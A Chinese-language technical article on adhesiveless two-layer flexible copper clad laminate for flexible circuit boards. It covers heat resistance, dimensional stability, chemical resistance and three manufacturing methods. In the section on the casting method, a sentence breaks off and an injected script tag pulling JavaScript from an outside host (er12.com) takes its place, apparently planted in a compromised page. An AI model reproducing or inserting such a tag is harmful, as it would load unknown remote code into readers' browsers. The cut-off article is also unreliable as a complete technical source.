无胶软板基材技术与应用

一 前言

  软式印刷电路板(flexible printed circuit,fpc),简称软板,具有柔软、轻、薄及可挠曲等优点,在资讯电子产品快速走向轻、薄、短、小趋势下,目前已广泛应用在笔记型电脑、数位相关、手机、液晶显示器等用途。

  传统软板材料,主要是以pi 膜/接着剂/铜箔之三层结构(图1(a))为主,接着剂是以

epoxy/acrylic为主,但接着剂的耐热性与尺寸安定性不佳,长期使用温度限制在100~200,使得三层有胶软板基材(3-layer flexible copper clad laminate,3-layer fccl)的领域受限。

  新发展的无胶软板基材(2-layer fccl)仅由pi膜/铜箔(图1(b))所组成,因为不需使用粘着剂而增加了产品长期使用的依赖性及应用范围。

  二 无胶软板基材重要的特性

  1. 耐热性

  无胶软板基材由于没有耐热差的接着剂,所以耐热性相当优异,且长期使用温度可达300以上,图2是在定温200下, 无胶软板基材与三层有胶软板基材抗撕强度对时间的关系,结果表示高温长时间下无胶软板基材抗撕强度变化极小,而三层有胶软板在高温短时间内抗撕强度就急剧下降。图3是无胶软板基材与三层有胶软板基材抗撕强度对温度之关系,结果表示无胶软板基材当温度大于120,因接着剂劣化使得抗撕强度剧烈下降。一般在软板上做smt焊接时,温度大多超过300,另外软硬结合板(rigid-flex)生产中的压合过程温度也高达200,对三层有胶软板基材而言并不适用这些应用。

  2. 尺寸安定性

  图4为无胶软板基材与三层有胶软板基材尺寸安定性对温度之关系,结果表示无胶软板基材尺寸变化受温度影响相当小,即使高温(300下)尺寸变化率仍在0.1%之内;但三层有胶软板尺寸变化率受温度影响甚大。良好的尺寸安定性对于细线路化制程会有相当大帮助,现今高阶的电子产品如lcd、cof基板等皆强调细线化、高密度、高尺寸安定、耐高温及可靠性,所以在资讯电子产品逐渐走向轻薄短小的趋势发展下,无胶软板将成为市场的主流。

  3. 抗化性

  图5是无胶软板基材与三层有胶软板基材浸泡于mek下,抗撕强度对时间之关系,由结果表示,无胶软板基材的抗拒化学药品性能相当优异,在长时间下抗撕强度无明显改变,而三层有胶软板基材则因接着剂的耐化学药品性不佳,抗撕强度随时间增长而大幅下降。

  无胶软板基材其它的特性还包括可降低基材厚度,符合轻薄短小趋势,此外因为蚀刻后氯离子的残留量低,降低了离子迁移性,也增加了细线路的长期信赖性。

  三 无胶软板基材的制造法

  无胶软板基材制造方式有三种:(1)溅镀法/电镀法(sputtering/plating);(2)涂布法(casting);(3)热压法(lamination)。三种方法的比较如表1所示。

  表1 无胶软板基材制作方式之比较(资料来源:citcuittree,sep.2000)

  (1) 溅镀法/电镀法:以pi膜为基材,利用真空溅镀(sputtering)在pi膜镀上一层金属层后,再以电镀法(electroplating), 使铜厚度增加。此法优势是能生产超薄的无胶软板基材,铜厚3~12,另外还可生产双面不同厚度的软板。

  (2) 涂布法:以铜箔为基材,将合成好的聚醯胺酸(ployamic acid)以精度的模头挤压涂布在成卷的铜箔上,经烘箱干燥及亚醯胺化后(imidization),形成无胶软板基材。涂布法多用于单面软板,若铜厚低于12以下,此法制?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计